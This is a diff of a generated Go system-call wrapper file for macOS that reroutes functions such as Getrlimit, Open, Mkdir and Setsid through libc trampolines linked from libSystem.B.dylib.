-@@ -805,30 +1323,45 @@ func Getpriority(which int, who int) (prio int, err error) {
- return
- }
-
-+func libc_getpriority_trampoline()
-+
-+//go:linkname libc_getpriority libc_getpriority
-+//go:cgo_import_dynamic libc_getpriority getpriority "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Getrlimit(which int, lim *Rlimit) (err error) {
-- _, _, e1 := RawSyscall(SYS_GETRLIMIT, uintptr(which), uintptr(unsafe.Pointer(lim)), 0)
-+ _, _, e1 := syscall_rawSyscall(funcPC(libc_getrlimit_trampoline), uintptr(which), uintptr(unsafe.Pointer(lim)), 0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
- return
- }
-
-+func libc_getrlimit_trampoline()
-+
-+//go:linkname libc_getrlimit libc_getrlimit
-+//go:cgo_import_dynamic libc_getrlimit getrlimit "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Getrusage(who int, rusage *Rusage) (err error) {
-- _, _, e1 := RawSyscall(SYS_GETRUSAGE, uintptr(who), uintptr(unsafe.Pointer(rusage)), 0)
-+ _, _, e1 := syscall_rawSyscall(funcPC(libc_getrusage_trampoline), uintptr(who), uintptr(unsafe.Pointer(rusage)), 0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
- return
- }
-
-+func libc_getrusage_trampoline()
-+
-+//go:linkname libc_getrusage libc_getrusage
-+//go:cgo_import_dynamic libc_getrusage getrusage "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Getsid(pid int) (sid int, err error) {
-- r0, _, e1 := RawSyscall(SYS_GETSID, uintptr(pid), 0, 0)
-+ r0, _, e1 := syscall_rawSyscall(funcPC(libc_getsid_trampoline), uintptr(pid), 0, 0)
- sid = int(r0)
- if e1 != 0 {
- err = errnoErr(e1)
-@@ -836,26 +1369,41 @@ func Getsid(pid int) (sid int, err error) {
- return
- }
-
-+func libc_getsid_trampoline()
-+
-+//go:linkname libc_getsid libc_getsid
-+//go:cgo_import_dynamic libc_getsid getsid "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Getuid() (uid int) {
-- r0, _, _ := RawSyscall(SYS_GETUID, 0, 0, 0)
-+ r0, _, _ := syscall_rawSyscall(funcPC(libc_getuid_trampoline), 0, 0, 0)
- uid = int(r0)
- return
- }
-
-+func libc_getuid_trampoline()
-+
-+//go:linkname libc_getuid libc_getuid
-+//go:cgo_import_dynamic libc_getuid getuid "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Issetugid() (tainted bool) {
-- r0, _, _ := RawSyscall(SYS_ISSETUGID, 0, 0, 0)
-+ r0, _, _ := syscall_rawSyscall(funcPC(libc_issetugid_trampoline), 0, 0, 0)
- tainted = bool(r0 != 0)
- return
- }
-
-+func libc_issetugid_trampoline()
-+
-+//go:linkname libc_issetugid libc_issetugid
-+//go:cgo_import_dynamic libc_issetugid issetugid "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Kqueue() (fd int, err error) {
-- r0, _, e1 := Syscall(SYS_KQUEUE, 0, 0, 0)
-+ r0, _, e1 := syscall_syscall(funcPC(libc_kqueue_trampoline), 0, 0, 0)
- fd = int(r0)
- if e1 != 0 {
- err = errnoErr(e1)
-@@ -863,6 +1411,11 @@ func Kqueue() (fd int, err error) {
- return
- }
-
-+func libc_kqueue_trampoline()
-+
-+//go:linkname libc_kqueue libc_kqueue
-+//go:cgo_import_dynamic libc_kqueue kqueue "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Lchown(path string, uid int, gid int) (err error) {
-@@ -871,13 +1424,18 @@ func Lchown(path string, uid int, gid int) (err error) {
- if err != nil {
- return
- }
-- _, _, e1 := Syscall(SYS_LCHOWN, uintptr(unsafe.Pointer(_p0)), uintptr(uid), uintptr(gid))
-+ _, _, e1 := syscall_syscall(funcPC(libc_lchown_trampoline), uintptr(unsafe.Pointer(_p0)), uintptr(uid), uintptr(gid))
- if e1 != 0 {
- err = errnoErr(e1)
- }
- return
- }
-
-+func libc_lchown_trampoline()
-+
-+//go:linkname libc_lchown libc_lchown
-+//go:cgo_import_dynamic libc_lchown lchown "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Link(path string, link string) (err error) {
-@@ -891,13 +1449,18 @@ func Link(path string, link string) (err error) {
- if err != nil {
- return
- }
-- _, _, e1 := Syscall(SYS_LINK, uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(_p1)), 0)
-+ _, _, e1 := syscall_syscall(funcPC(libc_link_trampoline), uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(_p1)), 0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
- return
- }
-
-+func libc_link_trampoline()
-+
-+//go:linkname libc_link libc_link
-+//go:cgo_import_dynamic libc_link link "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Linkat(pathfd int, path string, linkfd int, link string, flags int) (err error) {
-@@ -911,37 +1474,32 @@ func Linkat(pathfd int, path string, linkfd int, link string, flags int) (err er
- if err != nil {
- return
- }
-- _, _, e1 := Syscall6(SYS_LINKAT, uintptr(pathfd), uintptr(unsafe.Pointer(_p0)), uintptr(linkfd), uintptr(unsafe.Pointer(_p1)), uintptr(flags), 0)
-+ _, _, e1 := syscall_syscall6(funcPC(libc_linkat_trampoline), uintptr(pathfd), uintptr(unsafe.Pointer(_p0)), uintptr(linkfd), uintptr(unsafe.Pointer(_p1)), uintptr(flags), 0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
- return
- }
-
-+func libc_linkat_trampoline()
-+
-+//go:linkname libc_linkat libc_linkat
-+//go:cgo_import_dynamic libc_linkat linkat "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Listen(s int, backlog int) (err error) {
-- _, _, e1 := Syscall(SYS_LISTEN, uintptr(s), uintptr(backlog), 0)
-+ _, _, e1 := syscall_syscall(funcPC(libc_listen_trampoline), uintptr(s), uintptr(backlog), 0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
- return
- }
-
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+func libc_listen_trampoline()
-
--func Lstat(path string, stat *Stat_t) (err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(path)
-- if err != nil {
-- return
-- }
-- _, _, e1 := Syscall(SYS_LSTAT64, uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(stat)), 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
-+//go:linkname libc_listen libc_listen
-+//go:cgo_import_dynamic libc_listen listen "/usr/lib/libSystem.B.dylib"
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
-@@ -951,13 +1509,18 @@ func Mkdir(path string, mode uint32) (err error) {
- if err != nil {
- return
- }
-- _, _, e1 := Syscall(SYS_MKDIR, uintptr(unsafe.Pointer(_p0)), uintptr(mode), 0)
-+ _, _, e1 := syscall_syscall(funcPC(libc_mkdir_trampoline), uintptr(unsafe.Pointer(_p0)), uintptr(mode), 0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
- return
- }
-
-+func libc_mkdir_trampoline()
-+
-+//go:linkname libc_mkdir libc_mkdir
-+//go:cgo_import_dynamic libc_mkdir mkdir "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Mkdirat(dirfd int, path string, mode uint32) (err error) {
-@@ -966,13 +1529,18 @@ func Mkdirat(dirfd int, path string, mode uint32) (err error) {
- if err != nil {
- return
- }
-- _, _, e1 := Syscall(SYS_MKDIRAT, uintptr(dirfd), uintptr(unsafe.Pointer(_p0)), uintptr(mode))
-+ _, _, e1 := syscall_syscall(funcPC(libc_mkdirat_trampoline), uintptr(dirfd), uintptr(unsafe.Pointer(_p0)), uintptr(mode))
- if e1 != 0 {
- err = errnoErr(e1)
- }
- return
- }
-
-+func libc_mkdirat_trampoline()
-+
-+//go:linkname libc_mkdirat libc_mkdirat
-+//go:cgo_import_dynamic libc_mkdirat mkdirat "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Mkfifo(path string, mode uint32) (err error) {
-@@ -981,13 +1549,18 @@ func Mkfifo(path string, mode uint32) (err error) {
- if err != nil {
- return
- }
-- _, _, e1 := Syscall(SYS_MKFIFO, uintptr(unsafe.Pointer(_p0)), uintptr(mode), 0)
-+ _, _, e1 := syscall_syscall(funcPC(libc_mkfifo_trampoline), uintptr(unsafe.Pointer(_p0)), uintptr(mode), 0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
- return
- }
-
-+func libc_mkfifo_trampoline()
-+
-+//go:linkname libc_mkfifo libc_mkfifo
-+//go:cgo_import_dynamic libc_mkfifo mkfifo "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Mknod(path string, mode uint32, dev int) (err error) {
-@@ -996,13 +1569,18 @@ func Mknod(path string, mode uint32, dev int) (err error) {
- if err != nil {
- return
- }
-- _, _, e1 := Syscall(SYS_MKNOD, uintptr(unsafe.Pointer(_p0)), uintptr(mode), uintptr(dev))
-+ _, _, e1 := syscall_syscall(funcPC(libc_mknod_trampoline), uintptr(unsafe.Pointer(_p0)), uintptr(mode), uintptr(dev))
- if e1 != 0 {
- err = errnoErr(e1)
- }
- return
- }
-
-+func libc_mknod_trampoline()
-+
-+//go:linkname libc_mknod libc_mknod
-+//go:cgo_import_dynamic libc_mknod mknod "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Open(path string, mode int, perm uint32) (fd int, err error) {
-@@ -1011,7 +1589,7 @@ func Open(path string, mode int, perm uint32) (fd int, err error) {
- if err != nil {
- return
- }
-- r0, _, e1 := Syscall(SYS_OPEN, uintptr(unsafe.Pointer(_p0)), uintptr(mode), uintptr(perm))
-+ r0, _, e1 := syscall_syscall(funcPC(libc_open_trampoline), uintptr(unsafe.Pointer(_p0)), uintptr(mode), uintptr(perm))
- fd = int(r0)
- if e1 != 0 {
- err = errnoErr(e1)
-@@ -1019,6 +1597,11 @@ func Open(path string, mode int, perm uint32) (fd int, err error) {
- return
- }
-
-+func libc_open_trampoline()
-+
-+//go:linkname libc_open libc_open
-+//go:cgo_import_dynamic libc_open open "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Openat(dirfd int, path string, mode int, perm uint32) (fd int, err error) {
-@@ -1027,7 +1610,7 @@ func Openat(dirfd int, path string, mode int, perm uint32) (fd int, err error) {
- if err != nil {
- return
- }
-- r0, _, e1 := Syscall6(SYS_OPENAT, uintptr(dirfd), uintptr(unsafe.Pointer(_p0)), uintptr(mode), uintptr(perm), 0, 0)
-+ r0, _, e1 := syscall_syscall6(funcPC(libc_openat_trampoline), uintptr(dirfd), uintptr(unsafe.Pointer(_p0)), uintptr(mode), uintptr(perm), 0, 0)
- fd = int(r0)
- if e1 != 0 {
- err = errnoErr(e1)
-@@ -1035,6 +1618,11 @@ func Openat(dirfd int, path string, mode int, perm uint32) (fd int, err error) {
- return
- }
-
-+func libc_openat_trampoline()
-+
-+//go:linkname libc_openat libc_openat
-+//go:cgo_import_dynamic libc_openat openat "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Pathconf(path string, name int) (val int, err error) {
-@@ -1043,7 +1631,7 @@ func Pathconf(path string, name int) (val int, err error) {
- if err != nil {
- return
- }
-- r0, _, e1 := Syscall(SYS_PATHCONF, uintptr(unsafe.Pointer(_p0)), uintptr(name), 0)
-+ r0, _, e1 := syscall_syscall(funcPC(libc_pathconf_trampoline), uintptr(unsafe.Pointer(_p0)), uintptr(name), 0)
- val = int(r0)
- if e1 != 0 {
- err = errnoErr(e1)
-@@ -1051,6 +1639,11 @@ func Pathconf(path string, name int) (val int, err error) {
- return
- }
-
-+func libc_pathconf_trampoline()
-+
-+//go:linkname libc_pathconf libc_pathconf
-+//go:cgo_import_dynamic libc_pathconf pathconf "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Pread(fd int, p []byte, offset int64) (n int, err error) {
-@@ -1060,7 +1653,7 @@ func Pread(fd int, p []byte, offset int64) (n int, err error) {
- } else {
- _p0 = unsafe.Pointer(&_zero)
- }
-- r0, _, e1 := Syscall6(SYS_PREAD, uintptr(fd), uintptr(_p0), uintptr(len(p)), uintptr(offset), uintptr(offset>>32), 0)
-+ r0, _, e1 := syscall_syscall6(funcPC(libc_pread_trampoline), uintptr(fd), uintptr(_p0), uintptr(len(p)), uintptr(offset), uintptr(offset>>32), 0)
- n = int(r0)
- if e1 != 0 {
- err = errnoErr(e1)
-@@ -1068,6 +1661,11 @@ func Pread(fd int, p []byte, offset int64) (n int, err error) {
- return
- }
-
-+func libc_pread_trampoline()
-+
-+//go:linkname libc_pread libc_pread
-+//go:cgo_import_dynamic libc_pread pread "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Pwrite(fd int, p []byte, offset int64) (n int, err error) {
-@@ -1077,7 +1675,7 @@ func Pwrite(fd int, p []byte, offset int64) (n int, err error) {
- } else {
- _p0 = unsafe.Pointer(&_zero)
- }
-- r0, _, e1 := Syscall6(SYS_PWRITE, uintptr(fd), uintptr(_p0), uintptr(len(p)), uintptr(offset), uintptr(offset>>32), 0)
-+ r0, _, e1 := syscall_syscall6(funcPC(libc_pwrite_trampoline), uintptr(fd), uintptr(_p0), uintptr(len(p)), uintptr(offset), uintptr(offset>>32), 0)
- n = int(r0)
- if e1 != 0 {
- err = errnoErr(e1)
-@@ -1085,6 +1683,11 @@ func Pwrite(fd int, p []byte, offset int64) (n int, err error) {
- return
- }
-
-+func libc_pwrite_trampoline()
-+
-+//go:linkname libc_pwrite libc_pwrite
-+//go:cgo_import_dynamic libc_pwrite pwrite "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func read(fd int, p []byte) (n int, err error) {
-@@ -1094,7 +1697,7 @@ func read(fd int, p []byte) (n int, err error) {
- } else {
- _p0 = unsafe.Pointer(&_zero)
- }
-- r0, _, e1 := Syscall(SYS_READ, uintptr(fd), uintptr(_p0), uintptr(len(p)))
-+ r0, _, e1 := syscall_syscall(funcPC(libc_read_trampoline), uintptr(fd), uintptr(_p0), uintptr(len(p)))
- n = int(r0)
- if e1 != 0 {
- err = errnoErr(e1)
-@@ -1102,6 +1705,11 @@ func read(fd int, p []byte) (n int, err error) {
- return
- }
-
-+func libc_read_trampoline()
-+
-+//go:linkname libc_read libc_read
-+//go:cgo_import_dynamic libc_read read "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Readlink(path string, buf []byte) (n int, err error) {
-@@ -1116,7 +1724,7 @@ func Readlink(path string, buf []byte) (n int, err error) {
- } else {
- _p1 = unsafe.Pointer(&_zero)
- }
-- r0, _, e1 := Syscall(SYS_READLINK, uintptr(unsafe.Pointer(_p0)), uintptr(_p1), uintptr(len(buf)))
-+ r0, _, e1 := syscall_syscall(funcPC(libc_readlink_trampoline), uintptr(unsafe.Pointer(_p0)), uintptr(_p1), uintptr(len(buf)))
- n = int(r0)
- if e1 != 0 {
- err = errnoErr(e1)
-@@ -1124,6 +1732,11 @@ func Readlink(path string, buf []byte) (n int, err error) {
- return
- }
-
-+func libc_readlink_trampoline()
-+
-+//go:linkname libc_readlink libc_readlink
-+//go:cgo_import_dynamic libc_readlink readlink "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Readlinkat(dirfd int, path string, buf []byte) (n int, err error) {
-@@ -1138,7 +1751,7 @@ func Readlinkat(dirfd int, path string, buf []byte) (n int, err error) {
- } else {
- _p1 = unsafe.Pointer(&_zero)
- }
-- r0, _, e1 := Syscall6(SYS_READLINKAT, uintptr(dirfd), uintptr(unsafe.Pointer(_p0)), uintptr(_p1), uintptr(len(buf)), 0, 0)
-+ r0, _, e1 := syscall_syscall6(funcPC(libc_readlinkat_trampoline), uintptr(dirfd), uintptr(unsafe.Pointer(_p0)), uintptr(_p1), uintptr(len(buf)), 0, 0)
- n = int(r0)
- if e1 != 0 {
- err = errnoErr(e1)
-@@ -1146,6 +1759,11 @@ func Readlinkat(dirfd int, path string, buf []byte) (n int, err error) {
- return
- }
-
-+func libc_readlinkat_trampoline()
-+
-+//go:linkname libc_readlinkat libc_readlinkat
-+//go:cgo_import_dynamic libc_readlinkat readlinkat "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Rename(from string, to string) (err error) {
-@@ -1159,13 +1777,18 @@ func Rename(from string, to string) (err error) {
- if err != nil {
- return
- }
-- _, _, e1 := Syscall(SYS_RENAME, uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(_p1)), 0)
-+ _, _, e1 := syscall_syscall(funcPC(libc_rename_trampoline), uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(_p1)), 0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
- return
- }
-
-+func libc_rename_trampoline()
-+
-+//go:linkname libc_rename libc_rename
-+//go:cgo_import_dynamic libc_rename rename "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Renameat(fromfd int, from string, tofd int, to string) (err error) {
-@@ -1179,13 +1802,18 @@ func Renameat(fromfd int, from string, tofd int, to string) (err error) {
- if err != nil {
- return
- }
-- _, _, e1 := Syscall6(SYS_RENAMEAT, uintptr(fromfd), uintptr(unsafe.Pointer(_p0)), uintptr(tofd), uintptr(unsafe.Pointer(_p1)), 0, 0)
-+ _, _, e1 := syscall_syscall6(funcPC(libc_renameat_trampoline), uintptr(fromfd), uintptr(unsafe.Pointer(_p0)), uintptr(tofd), uintptr(unsafe.Pointer(_p1)), 0, 0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
- return
- }
-
-+func libc_renameat_trampoline()
-+
-+//go:linkname libc_renameat libc_renameat
-+//go:cgo_import_dynamic libc_renameat renameat "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Revoke(path string) (err error) {
-@@ -1194,13 +1822,18 @@ func Revoke(path string) (err error) {
- if err != nil {
- return
- }
-- _, _, e1 := Syscall(SYS_REVOKE, uintptr(unsafe.Pointer(_p0)), 0, 0)
-+ _, _, e1 := syscall_syscall(funcPC(libc_revoke_trampoline), uintptr(unsafe.Pointer(_p0)), 0, 0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
- return
- }
-
-+func libc_revoke_trampoline()
-+
-+//go:linkname libc_revoke libc_revoke
-+//go:cgo_import_dynamic libc_revoke revoke "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Rmdir(path string) (err error) {
-@@ -1209,17 +1842,22 @@ func Rmdir(path string) (err error) {
- if err != nil {
- return
- }
-- _, _, e1 := Syscall(SYS_RMDIR, uintptr(unsafe.Pointer(_p0)), 0, 0)
-+ _, _, e1 := syscall_syscall(funcPC(libc_rmdir_trampoline), uintptr(unsafe.Pointer(_p0)), 0, 0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
- return
- }
-
-+func libc_rmdir_trampoline()
-+
-+//go:linkname libc_rmdir libc_rmdir
-+//go:cgo_import_dynamic libc_rmdir rmdir "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Seek(fd int, offset int64, whence int) (newoffset int64, err error) {
-- r0, r1, e1 := Syscall6(SYS_LSEEK, uintptr(fd), uintptr(offset), uintptr(offset>>32), uintptr(whence), 0, 0)
-+ r0, r1, e1 := syscall_syscall6(funcPC(libc_lseek_trampoline), uintptr(fd), uintptr(offset), uintptr(offset>>32), uintptr(whence), 0, 0)
- newoffset = int64(int64(r1)<<32 | int64(r0))
- if e1 != 0 {
- err = errnoErr(e1)
-@@ -1227,46 +1865,72 @@ func Seek(fd int, offset int64, whence int) (newoffset int64, err error) {
- return
- }
-
-+func libc_lseek_trampoline()
-+
-+//go:linkname libc_lseek libc_lseek
-+//go:cgo_import_dynamic libc_lseek lseek "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func Select(n int, r *FdSet, w *FdSet, e *FdSet, timeout *Timeval) (err error) {
-- _, _, e1 := Syscall6(SYS_SELECT, uintptr(n), uintptr(unsafe.Pointer(r)), uintptr(unsafe.Pointer(w)), uintptr(unsafe.Pointer(e)), uintptr(unsafe.Pointer(timeout)), 0)
-+func Select(nfd int, r *FdSet, w *FdSet, e *FdSet, timeout *Timeval) (n int, err error) {
-+ r0, _, e1 := syscall_syscall6(funcPC(libc_select_trampoline), uintptr(nfd), uintptr(unsafe.Pointer(r)), uintptr(unsafe.Pointer(w)), uintptr(unsafe.Pointer(e)), uintptr(unsafe.Pointer(timeout)), 0)
-+ n = int(r0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
- return
- }
-
-+func libc_select_trampoline()
-+
-+//go:linkname libc_select libc_select
-+//go:cgo_import_dynamic libc_select select "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Setegid(egid int) (err error) {
-- _, _, e1 := Syscall(SYS_SETEGID, uintptr(egid), 0, 0)
-+ _, _, e1 := syscall_syscall(funcPC(libc_setegid_trampoline), uintptr(egid), 0, 0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
- return
- }
-
-+func libc_setegid_trampoline()
-+
-+//go:linkname libc_setegid libc_setegid
-+//go:cgo_import_dynamic libc_setegid setegid "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Seteuid(euid int) (err error) {
-- _, _, e1 := RawSyscall(SYS_SETEUID, uintptr(euid), 0, 0)
-+ _, _, e1 := syscall_rawSyscall(funcPC(libc_seteuid_trampoline), uintptr(euid), 0, 0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
- return
- }
-
-+func libc_seteuid_trampoline()
-+
-+//go:linkname libc_seteuid libc_seteuid
-+//go:cgo_import_dynamic libc_seteuid seteuid "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Setgid(gid int) (err error) {
-- _, _, e1 := RawSyscall(SYS_SETGID, uintptr(gid), 0, 0)
-+ _, _, e1 := syscall_rawSyscall(funcPC(libc_setgid_trampoline), uintptr(gid), 0, 0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
- return
- }
-
-+func libc_setgid_trampoline()
-+
-+//go:linkname libc_setgid libc_setgid
-+//go:cgo_import_dynamic libc_setgid setgid "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Setlogin(name string) (err error) {
-@@ -1275,77 +1939,112 @@ func Setlogin(name string) (err error) {
- if err != nil {
- return
- }
-- _, _, e1 := Syscall(SYS_SETLOGIN, uintptr(unsafe.Pointer(_p0)), 0, 0)
-+ _, _, e1 := syscall_syscall(funcPC(libc_setlogin_trampoline), uintptr(unsafe.Pointer(_p0)), 0, 0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
- return
- }
-
-+func libc_setlogin_trampoline()
-+
-+//go:linkname libc_setlogin libc_setlogin
-+//go:cgo_import_dynamic libc_setlogin setlogin "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Setpgid(pid int, pgid int) (err error) {
-- _, _, e1 := RawSyscall(SYS_SETPGID, uintptr(pid), uintptr(pgid), 0)
-+ _, _, e1 := syscall_rawSyscall(funcPC(libc_setpgid_trampoline), uintptr(pid), uintptr(pgid), 0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
- return
- }
-
-+func libc_setpgid_trampoline()
-+
-+//go:linkname libc_setpgid libc_setpgid
-+//go:cgo_import_dynamic libc_setpgid setpgid "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Setpriority(which int, who int, prio int) (err error) {
-- _, _, e1 := Syscall(SYS_SETPRIORITY, uintptr(which), uintptr(who), uintptr(prio))
-+ _, _, e1 := syscall_syscall(funcPC(libc_setpriority_trampoline), uintptr(which), uintptr(who), uintptr(prio))
- if e1 != 0 {
- err = errnoErr(e1)
- }
- return
- }
-
-+func libc_setpriority_trampoline()
-+
-+//go:linkname libc_setpriority libc_setpriority
-+//go:cgo_import_dynamic libc_setpriority setpriority "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Setprivexec(flag int) (err error) {
-- _, _, e1 := Syscall(SYS_SETPRIVEXEC, uintptr(flag), 0, 0)
-+ _, _, e1 := syscall_syscall(funcPC(libc_setprivexec_trampoline), uintptr(flag), 0, 0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
- return
- }
-
-+func libc_setprivexec_trampoline()
-+
-+//go:linkname libc_setprivexec libc_setprivexec
-+//go:cgo_import_dynamic libc_setprivexec setprivexec "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Setregid(rgid int, egid int) (err error) {
-- _, _, e1 := RawSyscall(SYS_SETREGID, uintptr(rgid), uintptr(egid), 0)
-+ _, _, e1 := syscall_rawSyscall(funcPC(libc_setregid_trampoline), uintptr(rgid), uintptr(egid), 0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
- return
- }
-
-+func libc_setregid_trampoline()
-+
-+//go:linkname libc_setregid libc_setregid
-+//go:cgo_import_dynamic libc_setregid setregid "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Setreuid(ruid int, euid int) (err error) {
-- _, _, e1 := RawSyscall(SYS_SETREUID, uintptr(ruid), uintptr(euid), 0)
-+ _, _, e1 := syscall_rawSyscall(funcPC(libc_setreuid_trampoline), uintptr(ruid), uintptr(euid), 0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
- return
- }
-
-+func libc_setreuid_trampoline()
-+
-+//go:linkname libc_setreuid libc_setreuid
-+//go:cgo_import_dynamic libc_setreuid setreuid "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Setrlimit(which int, lim *Rlimit) (err error) {
-- _, _, e1 := RawSyscall(SYS_SETRLIMIT, uintptr(which), uintptr(unsafe.Pointer(lim)), 0)
-+ _, _, e1 := syscall_rawSyscall(funcPC(libc_setrlimit_trampoline), uintptr(which), uintptr(unsafe.Pointer(lim)), 0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
- return
- }
-
-+func libc_setrlimit_trampoline()
-+
-+//go:linkname libc_setrlimit libc_setrlimit
-+//go:cgo_import_dynamic libc_setrlimit setrlimit "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Setsid() (pid int, err error) {
-- r0, _, e1 := RawSyscall(SYS_SETSID, 0, 0, 0)
-+ r0, _, e1 := syscall_rawSyscall(funcPC(libc_setsid_trampoline), 0, 0, 0)
- pid = int(r0)
- if e1 != 0 {
- err = errnoErr(e1)
-@@ -1353,55 +2052,40 @@ func Setsid() (pid int, err error) {
- return
- }
-
-+func libc_setsid_trampoline()
-+
-+//go:linkname libc_setsid libc_setsid
-+//go:cgo_import_dynamic libc_setsid setsid "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Settimeofday(tp *Timeval) (err error) {
-- _, _, e1 := RawSyscall(SYS_SETTIMEOFDAY, uintptr(unsafe.Pointer(tp)), 0, 0)
-+ _, _, e1 := syscall_rawSyscall(funcPC(libc_settimeofday_trampoline), uintptr(unsafe.Pointer(tp)), 0, 0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
- return
- }
-
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
